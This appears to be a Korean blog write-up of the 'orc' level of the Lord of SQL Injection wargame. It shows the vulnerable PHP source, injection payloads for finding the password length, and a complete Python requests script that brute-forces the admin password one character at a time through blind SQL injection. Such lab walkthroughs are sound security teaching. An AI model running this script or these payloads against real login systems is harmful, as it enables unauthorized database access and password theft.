네 안녕하세요. Godhaword 입니다.
4번은 약간 "어? 왜 중간보스가 슬라임 던전에?" 라고 생각되는 문제 입니다.
제가 처음 LOS 4번을 풀 때는 뭐 말도 안되는 방법으로 pw를 우회하려했다가 나중에 파이썬 requests 모듈을 알게되고 브루트포싱이란 것을 알게 되고, Blind Sql injection 이라는 것을 알게 되어 겨우겨우 풀었던 문제로 기억납니다. 솔직히 이 뒤에 이어 나올 문제 제목은 봐도 "어? 이게 무슨 문제 였지?" 싶지만 orc 문제만은 "아 이런 내용이였지" 라고 기억이 납니다
문제 바로 보시죠
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello admin</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");
highlight_file(__FILE__);
?>
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");
이번 문제는 pw 쪽에서 뭐 어떻게 우회를 해서 참 값을 뽑아내는게 끝이 아니고, admin의 pw와 저희가 입력한 pw가 같아야 orc 문제가 solve 됩니다.
Blind SQL Injection 같은 경우
https://godhaword.tistory.com/472
이 글 정독 한번 하고 와주시기 바랍니다.
그렇다면 바로 풀어보도록 하겠습니다.
requests 모듈을 이용하여 파라미터를 날려보면 위와 같은 값을 얻을 수 있습니다.
쿼리문을 url 부분에 붙혀서 날리는 사람도 있긴한데, 그렇게하면 url encoding 도 생각해줘야하고 뭐 할께 많아서 저는 params 변수에 값을 태워 날리는 편입니다.
그럼 이제 pw 값을 하나하나씩 알아보도록 하겠습니다.
Blind SQL Injection을 할 때는
- 길이
- 각 단어
- 해당 값
순으로 찾는 편입니다.
관련 글은
https://godhaword.tistory.com/473
읽어보시면 편할 것 같습니다.
' or 1=1#을 통하여
<br><h2>Hello admin</h2>
이 소스가 참 거짓을 구별해주기 좋은 요소라고 판단하여 이 문장으로 참거짓을 구별해보도록 하겠습니다.
일단 pw의 길이를 구해봅시다.
여기서 많은 분들이 하시는 실수가
' or length(pw)=1#
이런식으로 쿼리를 날리게 됩니다.
전에 문제풀때 말씀드린 것과 같이 앞부분은 거짓으로 만들어서 0 값을 갖게 하고 그 뒤에서 부터 쿼리를 공격자가 만들어가야합니다.
그렇기에 위에 쿼리처럼 날리게 된다면 pw의 length를 구하긴 하는데 무슨 id의 pw 길이를 구하는 건진 db에게 자세히 못 알려주기 때문에
' or id='admin' and length(pw)=1#
이런식으로 날려야 저희가 원하는 값을 얻을 수 있습니다.
위에서도 쿼리를 짧게 보냈을 시엔 4와 8 값이 나오나 id 값을 붙혀서 쿼리를 날리게 되면 8 값만 나오게 되는 것을 알 수 있습니다.
1. pw의 길이 값은 8 이다
이제 길이를 알았으니 한단어 한단어씩 알아봅시다.
코드를 좀 더 수정해서 2 중 for문으로 string 값과 substr의 시작점 부분을 변경해줍시다.
이 문제에 대해 오랫동안 잡고 늘어지신분은 혹시 이해가 안 가시더라도 위에 코드는 그냥 한번 따라쳐보세요. 따라 치시고 그대로 외우세요.
자세한 코드설명은
https://godhaword.tistory.com/473
부분을 참고 하시길 바랍니다.
- 이 문제로 알 수 있는 것
- python으로도 브루트 포스를 할 수 있다.
- php는 대소문자 구별 안해서 가운대에 a하나 대문자로 들어가도 값이 맞게 들어간다. - Key Point
나도.. 이제 해킹고수?
저 해킹, 보안할껀데 코딩, 개발 해야하나요? 라는 질문 하지말자
- Blind SQL Injection
- length, substr 함수
- python requests 모듈
지금 쓴 코드는 저장해 놓으시면 좋을 것 같습니다.
import requests
url="https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"
cookies={'PHPSESSID' : 'bed19bf6oo1v0b3mrbnrim5q21'}
flag=""
for i in range(1,9):
for j in range(42,120):
params={'pw':f'\' or id=\'admin\' and substr(pw,{i},1)=\'{chr(j)}\'#'}
res=requests.get(url=url,cookies=cookies,params=params)
print(params)
if("<br><h2>Hello admin</h2>" in res.text):
print(f"{i}번째 : {chr(j)}")
flag=flag+chr(j)
break
print(flag)
godhaword = input("exit")
앞으로는 코드를 보여드리긴 하지만 이렇게 텍스트로 공유드리진 않을 것 같습니다.
이 코드를 토대로 한 번 직접 타이핑 해보시는 것도 도움이 많이 될 것이라 생각됩니다.
'web_security > Lord Of SQL' 카테고리의 다른 글
[LOS : Lord Of SQL Injection] 6번 Darkelf 문제 풀이 (0) | 2022.06.04 |
---|---|
[LOS : Lord Of SQL Injection] 5번 Wolfman 문제 풀이 (0) | 2022.06.04 |
[LOS : Lord Of SQL Injection] 3번 Goblin 문제 풀이 (0) | 2022.06.04 |
[LOS : Lord Of SQL Injection] 2번 Cobolt 문제 풀이 (0) | 2022.06.04 |
[LOS : Lord Of SQL Injection] 1번 Gremlin 문제 풀이 (0) | 2022.06.04 |